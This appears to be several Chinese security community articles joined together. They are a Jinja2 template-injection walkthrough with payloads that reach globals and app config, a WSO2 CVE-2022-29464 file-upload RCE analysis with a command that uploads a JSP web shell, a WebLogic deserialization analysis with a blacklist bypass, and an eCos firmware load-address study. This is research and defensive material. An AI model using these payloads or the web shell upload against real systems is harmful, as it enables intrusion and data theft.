例题 [TokyoWesterns CTF 4th 2018
shrine](https://github.com/CTFTraining/westerns_2018_shrine)
接下来，我们跟进 Jinja2 的代码里看看还有什么有意思的东西。
**jinja2/environment.py**
class Environment(object):
...
def _generate(self, source, name, filename, defer_init=False):
return generate(source, self, name, filename, defer_init=defer_init,
optimized=self.optimized)
def _compile(self, source, filename):
return compile(source, filename, 'exec')
@internalcode
def compile(self, source, name=None, filename=None, raw=False,
defer_init=False):
source_hint = None
try:
if isinstance(source, string_types):
source_hint = source
source = self._parse(source, name, filename)
source = self._generate(source, name, filename,
defer_init=defer_init)
if raw:
return source
if filename is None:
filename = '<template>'
else:
filename = encode_filename(filename)
return self._compile(source, filename)
except TemplateSyntaxError:
exc_info = sys.exc_info()
self.handle_exception(exc_info, source_hint=source_hint)
class Template(object):
...
def render(self, *args, **kwargs):
vars = dict(*args, **kwargs)
try:
return concat(self.root_render_func(self.new_context(vars)))
except Exception:
exc_info = sys.exc_info()
return self.environment.handle_exception(exc_info, True)
...
这里也是通过 **compile** 对模板进行编译的
**jinja2/parser.py**
_statement_keywords = frozenset(['for', 'if', 'block', 'extends', 'print',
'macro', 'include', 'from', 'import',
'set', 'with', 'autoescape'])
_compare_operators = frozenset(['eq', 'ne', 'lt', 'lteq', 'gt', 'gteq'])
_math_nodes = {
'add': nodes.Add,
'sub': nodes.Sub,
'mul': nodes.Mul,
'div': nodes.Div,
'floordiv': nodes.FloorDiv,
'mod': nodes.Mod,
}
...
class Parser(object):
def parse_statement(self):
...
try:
if token.value in _statement_keywords:
return getattr(self, 'parse_' + self.stream.current.value)()
...
def parse_print(self):
node = nodes.Output(lineno=next(self.stream).lineno)
node.nodes = []
while self.stream.current.type != 'block_end':
if node.nodes:
self.stream.expect('comma')
node.nodes.append(self.parse_expression())
return node
这里面， **print** 是个好东西，某些场景，限制了`{{`和`}}`的使用，只能使用`{%`和`%}`。这种清空，一般的想法是利用 **if**
来进行逻辑盲注，但是`{% print somedata %}`可以直接输出。
例题：网鼎杯 CTF 2018 第三场 Web mmmmy (暂无环境)
**jinja2/defaults.py**
DEFAULT_NAMESPACE = {
'range': range_type,
'dict': dict,
'lipsum': generate_lorem_ipsum,
'cycler': Cycler,
'joiner': Joiner,
'namespace': Namespace
}
默认的命名空间里面还有一些奇奇怪怪的对象存在的。
在探索测试的过程中发现，其实你随便输入一个字符串都是有用的。
比如`{{vvv}}`，一般情况你会发现页面空白啥的没有，但是加点东西就是新世界`{{vvv.__class__}}`。Jinja2对不存在的对象有一个特殊的定义
**Undefined** 类`
<class 'jinja2.runtime.Undefined'>`。
**jinja2/runtime.py**
@implements_to_string
class Undefined(object):
...
通过`{{ vvv.__class__.__init__.__globals__ }}`又能够搞事情了。
**jinja2/filters.py**
FILTERS = {
'abs': abs,
'attr': do_attr,
'batch': do_batch,
'capitalize': do_capitalize,
'center': do_center,
'count': len,
'd': do_default,
'default': do_default,
'dictsort': do_dictsort,
'e': escape,
'escape': escape,
'filesizeformat': do_filesizeformat,
'first': do_first,
'float': do_float,
'forceescape': do_forceescape,
'format': do_format,
'groupby': do_groupby,
'indent': do_indent,
'int': do_int,
'join': do_join,
'last': do_last,
'length': len,
'list': do_list,
'lower': do_lower,
'map': do_map,
'min': do_min,
'max': do_max,
'pprint': do_pprint,
'random': do_random,
'reject': do_reject,
'rejectattr': do_rejectattr,
'replace': do_replace,
'reverse': do_reverse,
'round': do_round,
'safe': do_mark_safe,
'select': do_select,
'selectattr': do_selectattr,
'slice': do_slice,
'sort': do_sort,
'string': soft_unicode,
'striptags': do_striptags,
'sum': do_sum,
'title': do_title,
'trim': do_trim,
'truncate': do_truncate,
'unique': do_unique,
'upper': do_upper,
'urlencode': do_urlencode,
'urlize': do_urlize,
'wordcount': do_wordcount,
'wordwrap': do_wordwrap,
'xmlattr': do_xmlattr,
'tojson': do_tojson,
}
这些过滤器有些时候还是可以用到的，用法`{{ somedata | filter
}}`,`{{url_for.__globals__.current_app.config|safe}}`
## 结束语
本文到这里就告一段落了，主要收获就是模板引擎命名空间或全局变量中的各种对象和函数。另外，其实还有很多地方没深入研究，大家有兴趣不妨翻翻源码找找有意思的事物。
标题有个 **(一)** ，算是给自己挖个坑，至于后续能不能填上就另说啦。。。。emmmmmmm | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/K9nmiwr8yL5tVxiLnhFDmA>**
# **漏洞描述**
某些WSO2产品允许不受限制地上传文件，从而执行远程代码。以WSO2 API Manager 为例，它是一个完全开源的 API
管理平台。它支持API设计，API发布，生命周期管理，应用程序开发，API安全性，速率限制，查看API的统计信息，以及连接API，API产品和端点。
# **漏洞版本**
WSO2 API Manager 2.2.0 及以上版本
WSO2 Identity Server 5.2.0 及以上
版本WSO2 Identity Server Analytics 5.4.0、5.4.1、5.5.0、5.6.0WSO2
Identity Server as Key Manager 5.3.0 及更高版本
WSO2 Enterprise Integrator 6.2.0 及更高版本
WSO2 Open Banking AM 1.4.0 及更高版本
WSO2 Open Banking KM 1.4.0 及更高
# **环境搭建**
采用Dockerfile搭建 wso2/wso2am - Docker Image | Docker Hub
版本：WSO2 API Manager 4.0.0
# ------------------------------------------------------------------------ #
# Copyright 2018 WSO2, Inc. (http://wso2.com)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License
#
# ------------------------------------------------------------------------ # set base Docker image to AdoptOpenJDK CentOS Docker image
FROM adoptopenjdk/openjdk11:x86_64-centos-jdk-11.0.10_9
LABEL maintainer="WSO2 Docker Maintainers <[email protected]>" \
com.wso2.docker.source="https://github.com/wso2/docker-apim/releases/tag/v4.0.0.1"
# set Docker image build arguments
# build arguments for user/group configurations
ARG USER=wso2carbon
ARG USER_ID=802
ARG USER_GROUP=wso2
ARG USER_GROUP_ID=802
ARG USER_HOME=/home/${USER}
# build arguments for WSO2 product installation
ARG WSO2_SERVER_NAME=wso2am
ARG WSO2_SERVER_VERSION=4.0.0
ARG WSO2_SERVER_REPOSITORY=product-apim
ARG WSO2_SERVER=${WSO2_SERVER_NAME}-${WSO2_SERVER_VERSION}
ARG WSO2_SERVER_HOME=${USER_HOME}/${WSO2_SERVER}
ARG WSO2_SERVER_DIST_URL=https://github.com/wso2/${WSO2_SERVER_REPOSITORY}/releases/download/v${WSO2_SERVER_VERSION}/${WSO2_SERVER}.zip
# build argument for MOTD
ARG MOTD='printf "\n\
Welcome to WSO2 Docker resources.\n\
------------------------------------ \n\
This Docker container comprises of a WSO2 product, running with its latest GA release \n\
which is under the Apache License, Version 2.0. \n\
Read more about Apache License, Version 2.0 here @ http://www.apache.org/licenses/LICENSE-2.0.\n\n"'
# create the non-root user and group and set MOTD login message
RUN \
groupadd --system -g ${USER_GROUP_ID} ${USER_GROUP} \
&& useradd --system --create-home --home-dir ${USER_HOME} --no-log-init -g ${USER_GROUP_ID} -u ${USER_ID} ${USER} \
&& echo ${MOTD} > /etc/profile.d/motd.sh
# copy init script to user home
COPY --chown=wso2carbon:wso2 docker-entrypoint.sh ${USER_HOME}/
# install required packages
RUN \
yum -y update \
&& yum install -y \
nc \
unzip \
wget \
&& rm -rf /var/cache/yum/*
# add the WSO2 product distribution to user's home directory
RUN \
wget -O ${WSO2_SERVER}.zip "${WSO2_SERVER_DIST_URL}" \
&& unzip -d ${USER_HOME} ${WSO2_SERVER}.zip \
&& chown wso2carbon:wso2 -R ${WSO2_SERVER_HOME} \
&& mkdir ${USER_HOME}/wso2-tmp \
&& bash -c 'mkdir -p ${USER_HOME}/solr/{indexed-data,database}' \
&& chown wso2carbon:wso2 -R ${USER_HOME}/solr \
&& cp -r ${WSO2_SERVER_HOME}/repository/deployment/server/synapse-configs ${USER_HOME}/wso2-tmp \
&& cp -r ${WSO2_SERVER_HOME}/repository/deployment/server/executionplans ${USER_HOME}/wso2-tmp \
&& rm -f ${WSO2_SERVER}.zip
# set the user and work directory
USER ${USER_ID}
WORKDIR ${USER_HOME}
# set environment variables
ENV WORKING_DIRECTORY=${USER_HOME} \
WSO2_SERVER_HOME=${WSO2_SERVER_HOME}
# expose ports
EXPOSE 9763 9443 9999 11111 8280 8243 5672 9711 9611 9099
# initiate container and start WSO2 Carbon server
ENTRYPOINT ["/home/wso2carbon/docker-entrypoint.sh"]
运行docker run命令 搭建docker环境。
docker run -it -p 8280:8280 -p 8243:8243 -p 9443:9443 --name api-manager wso2/wso2am:4.0.0
搭建完成后，访问 <https://localhost:9943> 默认用户名 密码 admin admin。
# **漏洞复现**
## **漏洞原理**
补丁diff记录（<https://github.com/wso2/carbon-kernel/pull/3152/commits/13795df0a5b6a2206fd0338abfff057a7b99e1bb>） Remove
Unnecessary file uploader classes and improve parent path validation. by
bhagyasakalanka · Pull Request #3152 · wso2/carbon-kernel (github.com)
查看diff记录、在创建file对象时会先对上传文件的路径做校验。
carbon-kernel/FileUploadServlet.java at 4.4.x · wso2/carbon-kernel
(github.com)
开启docker镜像调试模式，在idea上使用远程调试。
docker run -it -p 8280:8280 -p 8243:8243 -p 9443:9443 -p 5005:5005 --name another-api-manager wso2/wso2am:4.0.0 -debug *:5005
/fileupload 会在服务器启动期间被注册。
在使用文件上传时，会调用/org/wso2/carbon/ui/transports/FileUploadServlet.java 。
构造函数FileUploadServlet 会将类内部定义的私有属性进行修改。
使用POST方法时，会调用doPost(),接着调用 **fileUploadExecutorManager**.execute()
因此我们将断点打到/org/wso2/carbon/ui/transports/fileupload/FileUploadExecutorManager.java#execute，正如上面描述所说、当收到一个文件上传请求，这个方法会被调用。它接受的两个参数：http
request、https response，会返回布尔值。
CarbonConstants类包含Carbon所有重要常数
然后对CarbonConstants的cookie、 **webContext、**
SERVER_URL、进行操作。向下走，通过对requestURI的截取获得actionString。
在下面的代码中会注册execution handlers、首先会创建execHandlerManager对象 ，接下来会加上ExecHandler链条
。FileUploadExecutionHandlerManager =>
CarbonXmlFileUploadExecHandler=>OSGiFileUploadExecHandler=>AnyFileUploadExecHandler。
进入startExec()
会调用/org/wso2/carbon/ui/transports/fileupload/FileUploadExecutorManager.java#
execute() 在for循环中匹配到 toolsAny。
然后进入/org/wso2/carbon/ui/transports/fileupload/AbstractFileUploadExecutor.java#
executeGeneric() ，然后调用parseRequest(request) 获取request 参数。
/org/wso2/carbon/ui/transports/fileupload/AbstractFileUploadExecutor.java#parseRequest()
将断点打到该位置，继续调试。它首先确保 POST 请求是分段 POST 请求，然后提取上传的文件，确保 POST
请求至少包含上传的文件，并根据最大文件大小对其进行验证。
走了很长一串之后，进入到/org/wso2/carbon/ui/transports/fileupload/ToolsAnyFileUploadExecutor.java#
execute()
这是错误所在，该方法容易受到路径遍历vulenerabulity的影响，因为它信任用户在POST请求中给出的文件名。
在该方法下，会返回一个 uuid 是由系统时间和随机数组成。在uploadeFile中可以看到存放上传文件的路径。
## **漏洞测试**
运行以下命令：
python3 exploit.py https://127.0.0.1:9443/ shell.jsp
在网页中打开以下链接。在输入框中输入命令 ls 。
# **修复建议**
如果最新版本未列在受影响的产品列表下，则可以迁移到产品的最新版本。否则，您可以根据以下公开修复程序将相关修复程序应用于产品：
* <https://github.com/wso2/carbon-kernel/pull/3152>
* <https://github.com/wso2/carbon-identity-framework/pull/3864>
* <https://github.com/wso2-extensions/identity-carbon-auth-rest/pull/167>
临时缓解措施：
**产品版本** | **临时缓解步**
---|---
WSO2 API 管理器 2.6.0、2.5.0、2.2.0 及更早版本WSO2 身份服务器
5.8.0、5.7.0、5.6.0、5.5.0、5.4.1、5.4.0、5.3.0、5.2.0 和更早版本作为密钥管理器的 WSO2 身份服务器
5.7.0、5.6.0、5.5.0、5.3.0 和更早版本WSO2 IS 分析 5.6.0、5.5.0、5.4.1、5.4.0 及更早版本 | 删除
**/repository/conf/carbon** 中 **FileUploadConfig** 标记内定义的所有映射.xml
WSO2 API 管理器 4.0.0、3.2.0、3.1.0、3.0.0 | 将以下配置添加到
__/repository/conf/deployment.toml _ ***deployment.toml**
[[resource.access_control]]context="(._)/fileupload/resource(._)"secure=falsehttp_method
= "all"
[[resource.access_control]]context="(._)/fileupload/(.*)"secure=truehttp_method
= "all"permissions = ["/permission/protected/"]
SO2 企业集成商 6.6.0、6.5.0、6.4.0、6.3.0、6.2.0及更早版本 | 于 EI 配置文件，请从< **文件上传** 配置>部分中删除
**/conf/carbon**.xml 文件中的以下映射。对于业务流程/代理和分析配置文件，分别在以下位置对 **carbon.xml**
文件应用相同的更改。/wso2/broker/conf/carbon.xml/wso2/业务流程/conf/carbon.xml/wso2/analytics/conf/carbon.xml
**deployment.toml** keystore certificate *
org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor jarZip
org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor tools
org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor toolsAny
org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor
WSO2 身份服务器 5.11.0、5.10.0、5.9.0作为密钥管理器的 WSO2 身份服务器 5.10.0、5.9.0 | 将以下配置添加到
__/repository/conf/deployment.toml _ ***deployment.toml**
[[resource.access_control]]context="(._)/fileupload/service(._)"secure=falsehttp_method
= "all" [[resource.access_control]]context="(._)/fileupload/entitlement-policy(. _)"secure=falsehttp_method = "all"
[[resource.access_control]]context="(._ )/fileupload/resource(.
_)"secure=falsehttp_method = "all" [[resource.access_control]]context="(._
)/fileupload/(.*)"secure=truehttp_method = "all"permissions =
["/permission/protected/"]
基于 WSO2 碳核 4 版本的其他不受支持的产品/版本 | 删除 **/repository/conf/carbon** 中
**FileUploadConfig** 标记内定义的所有映射.xml
# **参考材料**
1. 安全公告 WSO2-2021-1738 - WSO2 平台安全性 - WSO2 文档：<https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738>
2. 关键概念 - WSO2 API 管理器文档 4.1.0：<https://apim.docs.wso2.com/en/latest/get-started/key-concepts/>
3. hakivvi/CVE-2022-29464：WSO2 RCE （CVE-2022-29464） 漏洞利用和写入。(github.com)：<https://github.com/hakivvi/CVE-2022-29464>
* * * | 社区文章 |
# Oracle WebLogic RCE反序列化漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 Zhang Zhiyi，文章来源：projectmoon.pw
原文地址：<https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/>
译文仅供参考，具体内容表达以及含义原文为准。
Author: Zhiyi Zhang of 360 ESG Codesafe Team
## 前言
Oracle 官方在7月份发布[关键补丁更新](https://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html)之后，我在当月随后陆续提交了一些weblogic的不同类型漏洞，由于官方并
没有全部修复完成，本次的补丁修复了我报送的6个漏洞，其中有3个漏洞由于某些原因合并成1个CVE，本文针对10
月份这次补丁修复的其他两个漏洞进行简单分析。其中CVE-2018-3245是补来补去一直没有修好的Weblogic JRMP反
序列化漏洞，另一个漏洞CVE-2018-3252是DeploymentService组件的反序列化漏洞。
## CVE-2018-3252 (DeploymentService Deserialization via HTTP)
当我在阅读DeploymentService这个servlet的时候，在doPost函数中看到用于对通过HTTP方式提交的POST数据处理的核心函数internalDoPost。
可以看到，var4是通过HTTPHeader中的wl_request_type获取。然后进入不同的处理逻辑中。这里先跟进handleDataTransferRequest函数。
在上图箭头所指向的地方，程序对var9进行了反序列化，而var9是通过DeploymentObjectInputStream的构造函数生成，其中函数中的参数都是我们可控制的。
再来看handleDeploymentServiceMessage函数，基本逻辑大致相同，也是对DeploymentObjectInputStream对象的反序列化。
看到这里，心里隐隐觉得这个洞应该很好用，还是通过HTTP的方式。细心的同学可能发现，这里我们分析的每个函数都有一个参数是AuthenticatedSubject对象。这就是这个漏洞鸡肋的地方，需要用户认证。有兴趣的同学可以深入分析一下weblogic的用户认证机制，试试bypass🤪。具体函数请参考authenticateRequest，下图关于该函数有做删减，方便大家看到weblogic提供的两种认证方式。
这里我们使用username/password的用户认证方式验证PoC。
## CVE-2018-3245(JRMP Deserialization via T3)
在拿到7月份补丁后迅速去diff了一下，果然不出所料，针对JRMP反序列化修复的方式依旧是增加黑名单。黑名单package(DEFAULT_BLACKLIST_PACKAGES)新增java.rmi.activation
sun.rmi.server;黑名单class(DEFAULT_BLACKLIST_CLASSES)新增java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler。
1
2
3
4
5
6
7
8
9
|
private static final String[] DEFAULT_BLACKLIST_PACKAGES = {
"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = {
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
---|---
其实如果认真分析过之前相关漏洞和补丁的同学，都能够很容易找到绕过的方式。
正如之前和lpwd讨论的所谈到，只要满足继承java.rmi.server.RemoteObject,且不在黑名单之中的类对象。
这里我通过ReferenceWrapper_Stub这个类对象绕过。
验证:
WebLogic Console Log:
1
2
3
4
5
6
7
8
9
10
11
12
|
java.lang.ClassCastException: com.sun.jndi.rmi.registry.ReferenceWrapper_Stub cannot be cast to
weblogic.rjvm.ClassTableEntry.
java.lang.ClassCastException: com.sun.jndi.rmi.registry.ReferenceWrapper_Stub cannot be cast to
weblogic.rjvm.ClassTableEntry
at weblogic.rjvm.MsgAbbrevInputStream.readClassDescriptor(MsgAbbrevInputStream.java:410)
at
weblogic.utils.io.ChunkedObjectInputStream$NestedObjectInputStream.readClassDescriptor(ChunkedO
bjectInputStream.java:284)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1564)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1495)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1582)
Truncated. see log file for complete stacktrace
---|---
## 总结
可能目前谈到weblogic漏洞的挖掘，马上想到的是反序列化漏洞。依照之前多次补丁更新的迹象，虽然可能还是会
有新的绕过，但是能够使用的gadget越来越少，会让漏洞的利用难度提高很多。其实，我在阅读weblogic代码的过
程中发现，很多在java中常见的漏洞:文件下载、上传、SSRF、XXE、DoS…这些漏洞也都存在，并且利用简单方便。
或许，试着找些其他类型的漏洞配合使用，也是可以达到远程代码执行的效果。
## 参考
[Critical Patch Update – October
2018](https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html)
[Ysoserial](https://github.com/frohoff/ysoserial)
感谢你的阅读，文中如有问题，可以通过[[email protected]](mailto:[email protected])与我联系。 | 社区文章 |
**作者：[cq674350529](https://cq674350529.github.io/2021/03/04/Zyxel%E8%AE%BE%E5%A4%87eCos%E5%9B%BA%E4%BB%B6%E5%8A%A0%E8%BD%BD%E5%9C%B0%E5%9D%80%E5%88%86%E6%9E%90/
"cq674350529")
本文首发于安全客，原文链接：<https://www.anquanke.com/post/id/233361>**
### 前言
> English version is [here](https://ecos.wtf/2021/03/30/ecos-load-address),
> thanks for `ecos.wtf` team’s translation.
最近在分析`Zyxel`
某型号设备时，发现该设备的固件无法采用`binwalk`等工具进行提取。根据`binwalk`的提示信息，猜测该设备使用的是`eCos`实时操作系统，其固件是一个单一大文件。由于不知道其加载地址，在使用`IDA`等工具进行分析时，无法建立正确的交叉引用，直接逆向会比较麻烦。而网上与`eCos`固件分析相关的资料不多，在没有相关的芯片文档或`SDK`手册等资料的前提下，从该固件本身出发，通过对固件进行简单分析，寻找固件中引用的固定地址，最终确定了该固件的加载地址。
### binwalk分析
首先使用`binwalk`工具对固件进行分析，如下。尝试使用`-e`选项进行提取时失败，说明该固件可能就是一个单一大文件。从输出中可以看到很多与`eCos`相关的字符串，其中`"eCos
kernel exception handler, architecture: MIPSEL, exception vector table base
address: 0x80000200"`指出了该文件的架构(`MIPSEL`)和异常向量表基地址(`0x80000200`)。
binwalk RGS200-12P.bin
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
128 0x80 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
5475588 0x538D04 Unix path: /home/remus/svn/ivs/IVSPL5-ZyXEL_New/src_0603/build/../build/obj/ecos/install/include/cyg/libc/stdlib/atox.inl
5475653 0x538D45 eCos RTOS string reference: "ecos/install/include/cyg/libc/stdlib/atox.inl"
...
5945083 0x5AB6FB eCos RTOS string reference: "ecos_driver_vid_to_if_index!"
5949577 0x5AC889 eCos RTOS string reference: "ecos_driver_inject vid=%u, length=%u"
...
6525239 0x639137 eCos RTOS string reference: "eCos/packages/devs/serial/generic/16x5x/current/src/ser_16x5x.c"
...
尝试使用`IDA`工具直接加载该文件，设置架构为`mipsel`、加载地址为`0x80000200`后，如下。可以看到没有识别出一个函数，整个`segment`都是`Unexplored`状态，估计是因为加载地址不正确，因此需要想办法获取固件的加载地址。
> 一般，判断加载地址是否正确的方式包括：1) 成功识别出的函数个数；2）正确的字符串交叉引用个数。
>
> 后来发现即使加载基址正确，初始状态也是这样，需要在对应的地方手动`Make Code`才行 。。。可能还需要有合适的loader 进行初始化 ???
> 相比而言，`Ghidra`就可以自动进行分析。
根据相关信息进行查找，文章[ecos vector.S
分析II](https://blog.csdn.net/qq_20405005/article/details/77971929)中简单介绍了`eCos`异常中断的初始化及处理等知识，如下，尝试其中提到的地址`0x80000180`似乎不对。
# mips cpu 产生exception/interrupt后，cpu会跳到特定的几个地址上,
# BEV=0时，一般的在0x80000180,当然还有些其他地址，详细的要去看mips书籍
# 这里有这样的代码
FUNC_START(other_vector)
mfc0 k0,cause # K0 = exception cause
nop
andi k0,k0,0x7F # isolate exception code
la k1,hal_vsr_table # address of VSR table
add k1,k1,k0 # offset of VSR entry
lw k1,0(k1) # k1 = pointer to VSR
jr k1 # go there
nop # (delay slot)
FUNC_END(other_vector)
在`MLT
linker`文件[mips_tx49.ld](https://git.falcom.de/pub/ecos/-/blob/5ae20c384f92067161fe47cd1bed577d4e5b1a2b/packages/hal/mips/tx49/current/src/mips_tx49.ld)中提到了`hal_vsr_table`和`hal_virtual_vector_table`等地址，搜索`SECTION_rom_vectors
(rom`，尝试找到的一些地址后仍然不对。
// MLT linker script for MIPS TX49
/* this version for ROM startup */
.rom_vectors _vma_ : _lma_ \
{ KEEP (*(.reset_vector)) \
. = ALIGN(0x200); KEEP (*(.utlb_vector)) \
. = ALIGN(0x100); . = . + 4; \
. = ALIGN(0x80); KEEP(*(.other_vector)) \
. = ALIGN(0x100); KEEP(*(.debug_vector)) } \
> _region_
// 0-0x200 reserved for vectors
hal_vsr_table = 0x80000200;
hal_virtual_vector_table = 0x80000300;
// search results
// packages/hal/mips/idt79s334a/current/include/pkgconf/mlt_mips_idt32334_refidt334_rom.ldi
SECTION_rom_vectors (rom, 0x80200000, LMA_EQ_VMA)
// ...
### bare-metal firmware加载地址分析
一般来说，针对`bare-metal
firmware`，为了确定其加载地址，可以通过查询对应的芯片文档或`SDK`手册等资料，得到内存空间的映射分布。示例如下，其中`Flash
memory`的范围为`0x08000000~0x0801FFFF`。
> 来源: [STM32F103C8 memory
> mapping](https://www.st.com/resource/en/datasheet/stm32f103c8.pdf)
此外，对于一些`ARM`架构的`bare-metal firmware`，还可以通过中断向量表来推测加载地址。中断向量表中的前2项内容分别为`Initial
SP value`和`Reset`，其中`Reset`为`reset
routine`的地址，设备上电/重置时将会从这里开始执行，根据该地址推测可能的加载地址。
> In the used cores, an ARM Cortex-M3, the boot process is build around the
> reset exception. At device boot or reboot the core assumes the vector table
> at `0x0000.0000`. The vector table contains exception routines and the
> initial value of the stack pointer. On power-on now the microcontroller
> first loads the initial stack pointer from `0x0000.0000` and then address of
> the reset vector (`0x0000.0004`) into the program counter register (`R15`).
> The execution continues at this address. ([来源](https://blog.3or.de/starting-> embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html))
> 来源：[ARM Cortex-M3 Vector
> table](https://developer.arm.com/documentation/dui0552/a/the-> cortex-m3-processor/exception-model/vector-table)
在没有对应的芯片文档或`SDK`手册等资料时，可以尝试从固件本身出发，通过分析固件中的一些特征来推测可能的加载地址。例如，[Magpie](https://www.anquanke.com/post/id/198276)通过识别`ARM`固件中的函数入口表，然后基于函数入口表中的地址去推测可能的加载基址；[limkopi.me](https://limkopi.me/analysing-sj4000s-firmware/)通过查找指令中引用的固定地址，成功试出了该`eCos`固件的加载地址。上述方法的本质都是查找固件中存在的固定地址(绝对地址)，因为即使加载地址不正确，引用的这些固定地址也不会改变。下面尝试通过同样的方法来对`Zyxel`
`RGS200-12P`设备的固件进行分析。
> 由于该固件是`MIPS`架构的，而`Magpie`的工具是针对`ARM`架构的，因此并未直接尝试该工具。
### eCos固件加载地址分析
前面使用`binwalk`工具进行分析时，其输出结果中包含`"eCos kernel exception handler, architecture:
MIPSEL, exception vector table base address:
0x80000200"`。通过查看`binwalk`中`ecos`对应的[magic](https://github.com/ReFirmLabs/binwalk/blob/master/src/binwalk/magic/ecos)，如下，表明`binwalk`在该固件中匹配到一些模式。
# eCos kernel exception handlers
#
# mfc0 $k0, Cause # Cause of last exception
# nop # Some versions of eCos omit the nop
# andi $k0, 0x7F
# li $k1, 0xXXXXXXXX
# add $k1, $k0
# lw $k1, 0($k1)
# jr $k1
# nop
0 string \x00\x68\x1A\x40\x00\x00\x00\x00\x7F\x00\x5A\x33 eCos kernel exception handler, architecture: MIPSEL,
>14 leshort !0x3C1B {invalid}
>18 leshort !0x277B {invalid}
>12 uleshort x exception vector table base address: 0x%.4X
>16 uleshort x \b%.4X
使用`IDA`工具加载该文件，设置架构为`mipsl`、加载地址为`0x80000000`，在最开始处`Make Code`后，看到了熟悉的`eCos
kernel exception
handler`，同时其中包含一个固定地址为`0x80000200`。由于该固件文件有点大(约`10M`)，仅靠单个地址去猜测加载地址比较费事：(1)
一次完整的分析比较耗时(大概几分钟)，猜测多个地址的话需要分析好几次；(2)
手动去确认识别出的函数以及字符串交叉引用是否正确也比较麻烦(可能包含成百上千个函数及字符串交叉引用)。因此还需要查找更多的固定地址以及更有规律的地址，来确定加载地址的区间。
> 由于对`eCos`系统不了解，刚开始以为加载地址可能在`0x80000000~0x80000200`之间 :(，后来发现不对。
ROM:80000000 # Segment type: Pure code
ROM:80000000 .text # ROM
ROM:80000000 mfc0 $k0, Cause # Cause of last exception
ROM:80000004 nop
ROM:80000008 andi $k0, 0x7F
ROM:8000000C li $k1, unk_80000200
ROM:80000014 add $k1, $k0
ROM:80000018 lw $k1, 0($k1)
ROM:8000001C jr $k1
ROM:80000020 nop
在`Hex View`窗口中快速浏览固件时，发现了一些有规律的内容，如下。其中，存在一些连续的内容(以4字节为单位)，其最后2个字节均相同，对应到`IDA
View`窗口中，分别为指向代码片段的地址和指向字符串的地址。由于此时加载地址不正确，故看到的字符串引用比较奇怪。
> 当然，文件中还存在一些其他的规律，比如以8字节为单位，以16字节为单位等等。
根据上述规律可以从固件文件中提取出所有的固定地址，一方面可以缩小加载地址所在的范围，另一方面可以利用这些固定地址去判断尝试的加载地址是否正确。[Magpie](https://www.anquanke.com/post/id/198276)根据代码片段地址引用处是否是函数的序言指令来判断加载地址是否正确，由于函数的序言指令需要考虑多种情况，这里采用另一种简单的方式：根据字符串交叉引用是否正确来进行判断。
针对该`eCos`固件，确定其加载地址的方法如下：
(1)
以4字节为单位，判断邻近内容的低/高2字节是否相同，提取固件中所有符合规律的固定地址。考虑到大小端差异，在实际比较时以2字节为单位，判断相邻浅蓝色框(或红色框)内的内容是否相同。
(2)
提取出所有的固定地址后，先筛掉不合法的地址，然后对剩下的地址进行排序，排序后的结果中的第一个地址为加载地址的上限。同时，排序后的结果中前半部分为指向代码片段的地址，后半部分为指向字符串的地址。从中选择一个地址，将指向字符串的地址和指向代码的地址分开。之后，随机从字符串地址列表中选取一定数量的地址，作为后续判断的依据。
> 模糊的正确，只需要保证分到字符串地址列表中的地址均正确即可，因此可以尽量从列表后半部分取，至于是否有字符串引用地址分到了代码片段引用地址列表中不重要。
(3)
在确定的加载地址范围内逐步进行尝试，同时针对每个尝试的加载地址，判断之前选取的每个字符串引用地址指向的字符串是否”正确”，并记录下正确的个数。对应字符串地址”命中”最多的那个加载地址，很有可能就是正确的加载地址。
>
> 判断字符串引用地址是否正确，可根据该地址是否指向完整字符串的开头判断，即对应地址处的前一个字节是否为`'\x00'`。当然，也存在一些字符串引用地址指向某个完整字符串的中间(“字符串复用”)，但大部分的地址还是指向完整字符串的开头。
根据上述思路，推测出了该`eCos`固件的加载地址为`0x80040000`。通过分析部分函数逻辑和字符串交叉引用，验证该加载地址是正确的。另外，采用该方法对另外几个`eCos`固件(包括其他厂商的)进行分析，也可以得出正确的加载地址，说明该方法是可行的。当然，该方法还存在可以改进或优化的地方，不过目前暂时够用了。
python find_ecos_load_addr.py
...
[+] Top 10 string hit count ...
load_base: 0x80040000, str_hit_count: 19
load_base: 0x80019a30, str_hit_count: 11
load_base: 0x800225a0, str_hit_count: 11
load_base: 0x80041cd0, str_hit_count: 11
load_base: 0x800442d0, str_hit_count: 11
load_base: 0x80019680, str_hit_count: 10
load_base: 0x80019940, str_hit_count: 10
load_base: 0x80019af0, str_hit_count: 10
load_base: 0x80026090, str_hit_count: 10
